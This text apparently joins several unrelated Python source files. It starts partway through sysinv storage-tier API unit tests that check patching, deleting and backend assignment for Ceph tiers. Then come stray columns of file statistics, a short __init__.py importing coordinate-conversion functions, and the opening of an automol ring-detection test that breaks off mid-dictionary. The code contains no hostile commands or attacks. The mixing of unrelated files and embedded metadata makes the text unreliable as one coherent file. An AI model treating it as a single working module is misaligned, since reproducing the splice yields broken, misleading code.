self.assertEqual(confirm['type'], constants.SB_TIER_TYPE_CEPH)
self.assertEqual(confirm['status'], constants.SB_TIER_STATUS_DEFINED)
self.assertEqual(confirm['backend_uuid'], None)
self.assertEqual(confirm['cluster_uuid'], self.cluster.uuid)
self.assertEqual(confirm['stors'], [])
self.assertEqual(confirm['capabilities'], {})
# Default: uuid
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
uuid=uuidutils.generate_uuid(),
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('\'/uuid\' is an internal attribute and can not be updated"',
patch_response.json['error_message'])
# Default: name
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
name='newname',
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('Storage Tier %s cannot be renamed.' %
constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH],
patch_response.json['error_message'])
# Default: type
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
type='lvm',
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn("Cannot modify 'type' with this operation.",
patch_response.json['error_message'])
# Default: status
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
status=constants.SB_TIER_STATUS_IN_USE,
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn("Cannot modify 'status' with this operation.",
patch_response.json['error_message'])
# Default: capabilities
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
capabilities=jsonutils.dumps({'test_param': 'foo'}),
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('The capabilities of storage tier %s cannot be changed.' %
constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH],
patch_response.json['error_message'])
# Default: backend_uuid
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
backend_uuid=uuidutils.generate_uuid(),
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('No entry found for storage backend',
patch_response.json['error_message'])
# Default: cluster_uuid
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
cluster_uuid=uuidutils.generate_uuid(),
expect_errors=True)
self.assertEqual(http_client.NOT_FOUND, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
values = {'cluster_uuid': self.cluster.uuid,
'name': 'gold'}
with mock.patch.object(ceph_utils.CephApiOperator, 'crushmap_tiers_add'):
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
confirm = self.get_json('/storage_tiers/%s/' % response.json['uuid'])
self.assertEqual(confirm['uuid'], response.json['uuid'])
self.assertEqual(confirm['name'], 'gold')
self.assertEqual(confirm['type'], constants.SB_TIER_TYPE_CEPH)
self.assertEqual(confirm['status'], constants.SB_TIER_STATUS_DEFINED)
self.assertEqual(confirm['backend_uuid'], None)
self.assertEqual(confirm['cluster_uuid'], self.cluster.uuid)
self.assertEqual(confirm['stors'], [])
self.assertEqual(confirm['capabilities'], {})
# Other Defined: uuid
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
uuid=uuidutils.generate_uuid(),
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('\'/uuid\' is an internal attribute and can not be updated"',
patch_response.json['error_message'])
# Other Defined: name
with mock.patch.object(ceph_utils.CephApiOperator, 'crushmap_tier_rename'):
patch_response = self.patch_dict_json(
'/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
name='newname',
expect_errors=True)
self.assertEqual(http_client.OK, patch_response.status_int)
self.assertEqual('newname', # Expected
self.get_json('/storage_tiers/%s/' % patch_response.json['uuid'])['name']) # Result
# Other Defined: type
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
type='lvm',
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn("Cannot modify 'type' with this operation.",
patch_response.json['error_message'])
# Other Defined: status
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
status=constants.SB_TIER_STATUS_IN_USE,
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn("Cannot modify 'status' with this operation.",
patch_response.json['error_message'])
# Other Defined: capabilities
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
capabilities=jsonutils.dumps({'test_param': 'foo'}),
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('The capabilities of storage tier newname cannot be changed.',
patch_response.json['error_message'])
# Other Defined: backend_uuid
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
backend_uuid=uuidutils.generate_uuid(),
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('No entry found for storage backend',
patch_response.json['error_message'])
# Other Defined: cluster_uuid
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
cluster_uuid=uuidutils.generate_uuid(),
expect_errors=True)
self.assertEqual(http_client.NOT_FOUND, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
values = {'cluster_uuid': self.cluster.uuid,
'name': 'platinum',
'status': constants.SB_TIER_STATUS_IN_USE}
with mock.patch.object(ceph_utils.CephApiOperator, 'crushmap_tiers_add'):
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
confirm = self.get_json('/storage_tiers/%s/' % response.json['uuid'])
self.assertEqual(confirm['uuid'], response.json['uuid'])
self.assertEqual(confirm['name'], 'platinum')
self.assertEqual(confirm['type'], constants.SB_TIER_TYPE_CEPH)
self.assertEqual(confirm['status'], constants.SB_TIER_STATUS_IN_USE)
self.assertEqual(confirm['backend_uuid'], None)
self.assertEqual(confirm['cluster_uuid'], self.cluster.uuid)
self.assertEqual(confirm['stors'], [])
self.assertEqual(confirm['capabilities'], {})
# Other In-Use: uuid
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
uuid=uuidutils.generate_uuid(),
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('\'/uuid\' is an internal attribute and can not be updated"',
patch_response.json['error_message'])
# Other In-Use: name
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
name='newname',
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('Storage Tier platinum cannot be renamed. It is in-use',
patch_response.json['error_message'])
# Other In-Use: type
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
type='lvm',
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn("Cannot modify 'type' with this operation.",
patch_response.json['error_message'])
# Other In-Use: status
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
status=constants.SB_TIER_STATUS_DEFINED,
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn("Cannot modify 'status' with this operation.",
patch_response.json['error_message'])
# Other In-Use: capabilities
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
capabilities=jsonutils.dumps({'test_param': 'foo'}),
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('The capabilities of storage tier platinum cannot be changed.',
patch_response.json['error_message'])
# Other In-Use: backend_uuid
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
backend_uuid=uuidutils.generate_uuid(),
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
self.assertIn('No entry found for storage backend',
patch_response.json['error_message'])
# Other In-Use: cluster_uuid
patch_response = self.patch_dict_json('/storage_tiers/%s' % confirm['uuid'],
headers={'User-Agent': 'sysinv'},
cluster_uuid=uuidutils.generate_uuid(),
expect_errors=True)
self.assertEqual(http_client.NOT_FOUND, patch_response.status_int)
self.assertEqual('application/json', patch_response.content_type)
self.assertTrue(patch_response.json['error_message'])
def test_tier_delete(self):
self.test_tier_post_no_name_and_second()
values = {'cluster_uuid': self.cluster.uuid,
'name': 'platinum',
'status': constants.SB_TIER_STATUS_IN_USE}
with mock.patch.object(ceph_utils.CephApiOperator, 'crushmap_tiers_add'):
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
tier_list = self.get_json('/storage_tiers')
uuid_map = {}
for tier in tier_list['storage_tiers']:
uuid_map.update({tier['name']: tier['uuid']})
response = self.delete('/storage_tiers/%s' % uuid_map[
constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH]],
expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('Storage Tier %s cannot be deleted.' %
constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH],
response.json['error_message'])
response = self.delete('/storage_tiers/%s' % uuid_map['platinum'], expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('Storage Tier platinum cannot be deleted. It is in-use',
response.json['error_message'])
with mock.patch.object(ceph_utils.CephApiOperator, 'crushmap_tier_delete'):
response = self.delete('/storage_tiers/%s' % uuid_map['gold'], expect_errors=False)
self.assertEqual(http_client.NO_CONTENT, response.status_int)
tier_list = self.get_json('/storage_tiers')
tier_names = [t['name'] for t in tier_list['storage_tiers']]
self.assertEqual([constants.SB_TIER_DEFAULT_NAMES[constants.SB_TIER_TYPE_CEPH],
'platinum'],
tier_names)
self.assertEqual(2, len(tier_list['storage_tiers']))
class StorageTierDependentTCs(base.FunctionalTest):
set_crushmap_patcher = mock.patch.object(ceph_utils.CephApiOperator, 'set_crushmap')
set_monitors_status_patcher = mock.patch.object(ceph_utils.CephApiOperator, 'get_monitors_status')
set_is_initial_config_patcher = mock.patch.object(cutils, 'is_initial_config_complete')
def setUp(self):
super(StorageTierDependentTCs, self).setUp()
self.mock_set_crushmap = self.set_crushmap_patcher.start()
self.set_monitors_status_patcher = self.set_monitors_status_patcher.start()
self.set_monitors_status_patcher.return_value = \
[3, 2, ['controller-0', 'controller-1', 'storage-0']]
self.set_is_initial_config_patcher = self.set_is_initial_config_patcher.start()
self.set_is_initial_config_patcher.return_value = True
self.service = manager.ConductorManager('test-host', 'test-topic')
self.service.dbapi = dbapi.get_instance()
self.context = context.get_admin_context()
self.dbapi = dbapi.get_instance()
self.system = dbutils.create_test_isystem()
self.load = dbutils.create_test_load()
self.host_index = -1
self.mon_index = -1
def tearDown(self):
super(StorageTierDependentTCs, self).tearDown()
self.set_crushmap_patcher.stop()
self.set_monitors_status_patcher = self.set_monitors_status_patcher.stop()
self.set_is_initial_config_patcher.stop()
def assertDeleted(self, fullPath):
self.get_json(fullPath, expect_errors=True) # Make sure this line raises an error
def _create_storage_ihost(self, hostname):
self.host_index += 1
ihost_dict = dbutils.get_test_ihost(
id=self.host_index,
forisystemid=self.system.id,
hostname=hostname,
uuid=uuidutils.generate_uuid(),
mgmt_mac="{}-{}".format(hostname, self.host_index),
mgmt_ip="{}-{}".format(hostname, self.host_index),
personality='storage',
administrative='locked',
operational='disabled',
availability='online',
invprovision='unprovisioned')
return self.dbapi.ihost_create(ihost_dict)
def _create_storage_mon(self, hostname, ihost_id):
self.mon_index += 1
ceph_mon_dict = dbutils.get_test_mon(
id=self.mon_index,
uuid=uuidutils.generate_uuid(),
state=constants.SB_STATE_CONFIGURED,
task=constants.SB_TASK_NONE,
forihostid=ihost_id,
hostname=hostname)
return self.dbapi.ceph_mon_create(ceph_mon_dict)
#
# StorageTier with stors
#
def test_cluster_tier_host_osd(self):
storage_0 = self._create_storage_ihost('storage-0')
disk_0 = dbutils.create_test_idisk(device_node='/dev/sda',
device_path='/dev/disk/by-path/pci-0000:00:0d.0-ata-1.0',
forihostid=storage_0.id)
disk_1 = dbutils.create_test_idisk(device_node='/dev/sdb',
device_path='/dev/disk/by-path/pci-0000:00:0d.0-ata-2.0',
forihostid=storage_0.id)
self._create_storage_mon('storage-0', storage_0['id'])
# Mock the fsid call so that we don't have to wait for the timeout
with mock.patch.object(ceph.CephWrapper, 'fsid') as mock_fsid:
mock_fsid.return_value = (mock.MagicMock(ok=False), None)
self.service.start()
mock_fsid.assert_called()
self.assertIsNone(self.service._ceph.cluster_ceph_uuid)
self.assertIsNotNone(self.service._ceph.cluster_db_uuid)
# Make sure default storage tier is present
tier_list = self.get_json('/storage_tiers', expect_errors=False)
self.assertEqual(constants.SB_TIER_DEFAULT_NAMES[
constants.SB_TIER_TYPE_CEPH],
tier_list['storage_tiers'][0]['name'])
self.assertEqual(constants.SB_TIER_STATUS_DEFINED,
tier_list['storage_tiers'][0]['status'])
# save the current values
saved_cluster_db_uuid = self.service._ceph.cluster_db_uuid
# Add host
cluster_uuid = uuidutils.generate_uuid()
with mock.patch.object(ceph.CephWrapper, 'fsid') as mock_fsid:
mock_fsid.return_value = (mock.MagicMock(ok=True), cluster_uuid)
self.service._ceph.update_ceph_cluster(storage_0)
self.assertIsNotNone(self.service._ceph.cluster_ceph_uuid)
self.assertIsNotNone(self.service._ceph.cluster_db_uuid)
self.assertEqual(saved_cluster_db_uuid, self.service._ceph.cluster_db_uuid)
# self.assertEqual(self.service._ceph._cluster_ceph_uuid, self.service._ceph._cluster_db_uuid)
# make sure the host addition produces the correct peer
ihost_0 = self.dbapi.ihost_get(storage_0.id)
self.assertEqual(storage_0.id, ihost_0.id)
peer = self.dbapi.peer_get(ihost_0.peer_id)
self.assertEqual(peer.name, 'group-0')
self.assertEqual(peer.hosts, [storage_0.hostname])
# Add the default ceph backend
values = {
'backend': constants.SB_TYPE_CEPH,
'capabilities': {'test_bparam3': 'one',
'test_cparam3': 'two',
'test_gparam3': 'three',
'test_sparam1': 'four'},
'services': "%s,%s" % (constants.SB_SVC_CINDER, constants.SB_SVC_GLANCE),
'confirmed': True
}
with nested(mock.patch.object(StorageBackendConfig, 'get_ceph_mon_ip_addresses')) as (
mock_ceph_mon):
response = self.post_json('/storage_backend', values, expect_errors=False)
self.assertEqual(http_client.OK, response.status_int)
self.assertEqual('ceph', # Expected
self.get_json('/storage_backend/%s/' % response.json['uuid'])['backend']) # Result
# update the DB to make sure that the backend set to be configured
self.dbapi.storage_backend_update(response.json['uuid'], {'state': constants.SB_STATE_CONFIGURED})
# Make sure default storage tier is in use
tier_list = self.get_json('/storage_tiers', expect_errors=False)
self.assertEqual(constants.SB_TIER_DEFAULT_NAMES[
constants.SB_TIER_TYPE_CEPH],
tier_list['storage_tiers'][0]['name'])
self.assertEqual(constants.SB_TIER_STATUS_IN_USE,
tier_list['storage_tiers'][0]['status'])
default_tier_uuid = tier_list['storage_tiers'][0]['uuid']
# add a stor
values = {'ihost_uuid': storage_0.uuid,
'idisk_uuid': disk_0.uuid}
with nested(mock.patch.object(ceph_utils.CephApiOperator, 'get_monitors_status'),
mock.patch.object(StorageBackendConfig, 'has_backend_configured'),
mock.patch.object(rpcapi.ConductorAPI, 'configure_osd_istor')) as (
mock_mon_status, mock_backend_configured, mock_osd):
def fake_configure_osd_istor(context, istor_obj):
istor_obj['osdid'] = 0
return istor_obj
mock_mon_status.return_value = [3, 2, ['controller-0', 'controller-1', 'storage-0']]
mock_osd.side_effect = fake_configure_osd_istor
response = self.post_json('/istors', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
self.assertEqual(default_tier_uuid,
self.get_json('/istors/%s/' % response.json['uuid'])['tier_uuid']) # Result
# Verify the tier state is still in-use
tier_list = self.get_json('/storage_tiers', expect_errors=False)
self.assertEqual(constants.SB_TIER_DEFAULT_NAMES[
constants.SB_TIER_TYPE_CEPH],
tier_list['storage_tiers'][0]['name'])
self.assertEqual(constants.SB_TIER_STATUS_IN_USE,
tier_list['storage_tiers'][0]['status'])
# Create a second storage tier without a cluster
values = {}
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('No cluster information was provided for tier creation.',
response.json['error_message'])
# Create a second storage tier without a name
values = {'cluster_uuid': saved_cluster_db_uuid}
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('Storage tier (%s) already present' % constants.SB_TIER_DEFAULT_NAMES[
constants.SB_TIER_TYPE_CEPH],
response.json['error_message'])
# Create a second storage tier
values = {'cluster_uuid': saved_cluster_db_uuid,
'name': 'gold'}
with mock.patch.object(ceph_utils.CephApiOperator, 'crushmap_tiers_add'):
response = self.post_json('/storage_tiers', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
confirm = self.get_json('/storage_tiers/%s/' % response.json['uuid'])
self.assertEqual(confirm['uuid'], response.json['uuid'])
self.assertEqual(confirm['name'], 'gold')
self.assertEqual(confirm['type'], constants.SB_TIER_TYPE_CEPH)
self.assertEqual(confirm['status'], constants.SB_TIER_STATUS_DEFINED)
self.assertEqual(confirm['backend_uuid'], None)
self.assertEqual(confirm['cluster_uuid'], saved_cluster_db_uuid)
self.assertEqual(confirm['stors'], [])
self.assertEqual(confirm['capabilities'], {})
saved_tier_uuid = response.json['uuid']
# add a stor without specifying a tier
values = {'ihost_uuid': storage_0.uuid,
'idisk_uuid': disk_1.uuid}
with nested(mock.patch.object(ceph_utils.CephApiOperator, 'get_monitors_status'),
mock.patch.object(StorageBackendConfig, 'has_backend_configured'),
mock.patch.object(rpcapi.ConductorAPI, 'configure_osd_istor')) as (
mock_mon_status, mock_backend_configured, mock_osd):
def fake_configure_osd_istor(context, istor_obj):
istor_obj['osdid'] = 1
return istor_obj
mock_mon_status.return_value = [3, 2, ['controller-0', 'controller-1', 'storage-0']]
mock_osd.side_effect = fake_configure_osd_istor
response = self.post_json('/istors', values, expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('Multiple storage tiers are present. A tier is required for stor creation.',
response.json['error_message'])
# add a stor without specifying a tier
values = {'ihost_uuid': storage_0.uuid,
'idisk_uuid': disk_1.uuid,
'tier_uuid': saved_tier_uuid}
with nested(mock.patch.object(ceph_utils.CephApiOperator, 'get_monitors_status'),
mock.patch.object(StorageBackendConfig, 'has_backend_configured'),
mock.patch.object(rpcapi.ConductorAPI, 'configure_osd_istor')) as (
mock_mon_status, mock_backend_configured, mock_osd):
def fake_configure_osd_istor(context, istor_obj):
istor_obj['osdid'] = 1
return istor_obj
mock_mon_status.return_value = [3, 2, ['controller-0', 'controller-1', 'storage-0']]
mock_osd.side_effect = fake_configure_osd_istor
response = self.post_json('/istors', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
self.assertEqual(saved_tier_uuid,
self.get_json('/istors/%s/' % response.json['uuid'])['tier_uuid']) # Result
# Verify the tier state has changed
tier_list = self.get_json('/storage_tiers', expect_errors=False)
self.assertEqual('gold', tier_list['storage_tiers'][1]['name'])
self.assertEqual(constants.SB_TIER_STATUS_IN_USE,
tier_list['storage_tiers'][1]['status'])
# validate the cluster view
cluster_list = self.get_json('/clusters', expect_errors=False)
self.assertEqual('ceph_cluster', cluster_list['clusters'][0]['name'])
response = self.get_json('/clusters/%s' % cluster_list['clusters'][0]['uuid'],
expect_errors=False)
self.assertEqual(constants.SB_TIER_DEFAULT_NAMES[
constants.SB_TIER_TYPE_CEPH],
response['tiers'][0]['name'])
self.assertEqual('gold', response['tiers'][1]['name'])
# validate the tier view
tier_list = self.get_json('/storage_tiers', expect_errors=False)
self.assertEqual(constants.SB_TIER_DEFAULT_NAMES[
constants.SB_TIER_TYPE_CEPH],
tier_list['storage_tiers'][0]['name'])
self.assertEqual('gold', tier_list['storage_tiers'][1]['name'])
response = self.get_json('/storage_tiers/%s' % tier_list['storage_tiers'][0]['uuid'],
expect_errors=False)
self.assertEqual(constants.SB_TIER_DEFAULT_NAMES[
constants.SB_TIER_TYPE_CEPH],
response['name'])
self.assertEqual([0], response['stors'])
response = self.get_json('/storage_tiers/%s' % tier_list['storage_tiers'][1]['uuid'],
expect_errors=False)
self.assertEqual('gold', response['name'])
self.assertEqual([1], response['stors'])
# Add the ceph backend for the new tier without specifying a backend name
values = {
'backend': constants.SB_TYPE_CEPH,
'capabilities': {'test_bparam3': 'foo'},
'confirmed': True
}
with nested(mock.patch.object(StorageBackendConfig, 'get_ceph_mon_ip_addresses')) as (
mock_ceph_mon):
response = self.post_json('/storage_ceph', values, expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('Initial (%s) backend was previously created. Use '
'the modify API for further provisioning' % constants.SB_DEFAULT_NAMES[
constants.SB_TIER_TYPE_CEPH],
response.json['error_message'])
# Add the ceph backend for the new tier without specifying the tier
values = {
'backend': constants.SB_TYPE_CEPH,
'capabilities': {'test_bparam3': 'foo'},
'name': 'ceph-gold',
'confirmed': True
}
with nested(mock.patch.object(StorageBackendConfig, 'get_ceph_mon_ip_addresses')) as (
mock_ceph_mon):
response = self.post_json('/storage_ceph', values, expect_errors=True)
self.assertEqual(http_client.BAD_REQUEST, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertTrue(response.json['error_message'])
self.assertIn('No tier specified for this backend.',
response.json['error_message'])
# Add the ceph backend for the new tier
values = {
'backend': constants.SB_TYPE_CEPH,
'capabilities': {'test_bparam3': 'one',
'test_cparam3': 'two'},
'services': constants.SB_SVC_CINDER,
'name': 'ceph-gold',
'tier_uuid': saved_tier_uuid,
'confirmed': True
}
with nested(mock.patch.object(StorageBackendConfig, 'get_ceph_mon_ip_addresses'),
mock.patch.object(StorageBackendConfig, 'get_ceph_tier_size')) as (
mock_ceph_mon, mock_space):
mock_space.return_value = 0
response = self.post_json('/storage_ceph', values, expect_errors=True)
self.assertEqual(http_client.OK, response.status_int)
self.assertEqual('ceph-gold',
self.get_json('/storage_backend/%s/' % response.json['uuid'])['name']) # Result
# validate the backend view
backend_list = self.get_json('/storage_backend', expect_errors=False)
self.assertEqual(http_client.OK, response.status_int)
self.assertEqual(constants.SB_DEFAULT_NAMES[
constants.SB_TIER_TYPE_CEPH],
backend_list['storage_backends'][0]['name'])
self.assertEqual('ceph-gold', backend_list['storage_backends'][1]['name'])
| 52.559685
| 109
| 0.624879
| 5,155
| 46,673
| 5.386227
| 0.063434
| 0.09454
| 0.036195
| 0.052726
| 0.865195
| 0.845386
| 0.831124
| 0.813765
| 0.800764
| 0.780235
| 0
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| 0.263
| 46,673
| 887
| 110
| 52.61894
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| 0.159377
| 0.008332
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| 0.357245
| 1
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| false
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| null | 0
| 0
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| 1
| 1
| 1
| 1
| 1
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| 1
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| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
136dbdcba10a9b27852a0cf9a6dd3c9ebdc55515
| 378
|
py
|
Python
|
__init__.py
|
jiuguai/dataparse
|
68eac5108e4adf655cccff46b62b1e74a24a6d79
|
[
"MIT"
] | null | null | null |
__init__.py
|
jiuguai/dataparse
|
68eac5108e4adf655cccff46b62b1e74a24a6d79
|
[
"MIT"
] | null | null | null |
__init__.py
|
jiuguai/dataparse
|
68eac5108e4adf655cccff46b62b1e74a24a6d79
|
[
"MIT"
] | null | null | null |
from .coordTransform import wgs84_to_gcj02 as w2g;w2g
from .coordTransform import wgs84_to_bd09 as w2b;w2b
from .coordTransform import gcj02_to_wgs84 as g2w;g2w
from .coordTransform import gcj02_to_bd09 as g2b;g2b
from .coordTransform import bd09_to_wgs84 as b2w;b2w
from .coordTransform import bd09_to_gcj02 as b2g;b2g
from .coordTransform import Geocoding
from .parse import *
| 47.25
| 53
| 0.846561
| 61
| 378
| 5.04918
| 0.262295
| 0.409091
| 0.545455
| 0.188312
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| 0
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| 0
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| 0.113757
| 378
| 8
| 54
| 47.25
| 0.81194
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| true
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| 1
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| 0
| null | 1
| 1
| 1
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| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
13977037efc36efed457a906934f9f7fdec0eaba
| 5,035
|
py
|
Python
|
automol/tests/test_rings.py
|
kevinmooreiii/autochem
|
87f50adc09c3f1170459c629697aadd74154c769
|
[
"Apache-2.0"
] | null | null | null |
automol/tests/test_rings.py
|
kevinmooreiii/autochem
|
87f50adc09c3f1170459c629697aadd74154c769
|
[
"Apache-2.0"
] | null | null | null |
automol/tests/test_rings.py
|
kevinmooreiii/autochem
|
87f50adc09c3f1170459c629697aadd74154c769
|
[
"Apache-2.0"
] | null | null | null |
""" test ring functionality in automol.graph
"""
from automol import graph
def test__rings():
""" test graph.rings
"""
c5h5n5o_cgr = (
{0: ('C', 1, None), 1: ('C', 0, None), 2: ('C', 0, None),
3: ('C', 0, None), 4: ('C', 0, None), 5: ('N', 2, None),
6: ('N', 0, None), 7: ('N', 0, None), 8: ('N', 0, None),
9: ('N', 1, None), 10: ('O', 1, None)},
{frozenset({10, 4}): (1, None), frozenset({8, 2}): (1, None),
frozenset({0, 6}): (1, None), frozenset({9, 3}): (1, None),
frozenset({1, 2}): (1, None), frozenset({3, 7}): (1, None),
frozenset({2, 5}): (1, None), frozenset({1, 6}): (1, None),
frozenset({0, 7}): (1, None), frozenset({9, 4}): (1, None),
frozenset({1, 3}): (1, None), frozenset({8, 4}): (1, None)})
assert graph.rings(c5h5n5o_cgr) == (
({0: ('C', 1, None), 1: ('C', 0, None), 3: ('C', 0, None),
6: ('N', 0, None), 7: ('N', 0, None)},
{frozenset({0, 6}): (1, None), frozenset({3, 7}): (1, None),
frozenset({0, 7}): (1, None), frozenset({1, 6}): (1, None),
frozenset({1, 3}): (1, None)}),
({1: ('C', 0, None), 2: ('C', 0, None), 3: ('C', 0, None),
4: ('C', 0, None), 8: ('N', 0, None), 9: ('N', 1, None)},
{frozenset({8, 2}): (1, None), frozenset({9, 3}): (1, None),
frozenset({1, 2}): (1, None), frozenset({9, 4}): (1, None),
frozenset({1, 3}): (1, None), frozenset({8, 4}): (1, None)})
)
def test__ring_systems():
""" test automol.graph.ring_systems
"""
# molecule:
# InChI=1S/C19H30/c1-2-4-14-10-12(9-13(14)3-1)5-7-17-16-8-6-15-11-
# 18(16)19(15)17/h12-19H,1-11H2/
gra = ({0: ('C', 1, None), 1: ('C', 1, None), 2: ('C', 2, None),
3: ('C', 1, None), 4: ('C', 1, None), 5: ('C', 1, None),
6: ('C', 2, None), 7: ('C', 2, None), 8: ('C', 1, None),
9: ('C', 2, None), 10: ('C', 2, None), 11: ('C', 2, None),
12: ('C', 1, None), 13: ('C', 1, None), 14: ('C', 2, None),
15: ('C', 2, None), 16: ('C', 2, None), 17: ('C', 2, None),
18: ('C', 2, None)},
{frozenset({9, 13}): (1, None), frozenset({3, 6}): (1, None),
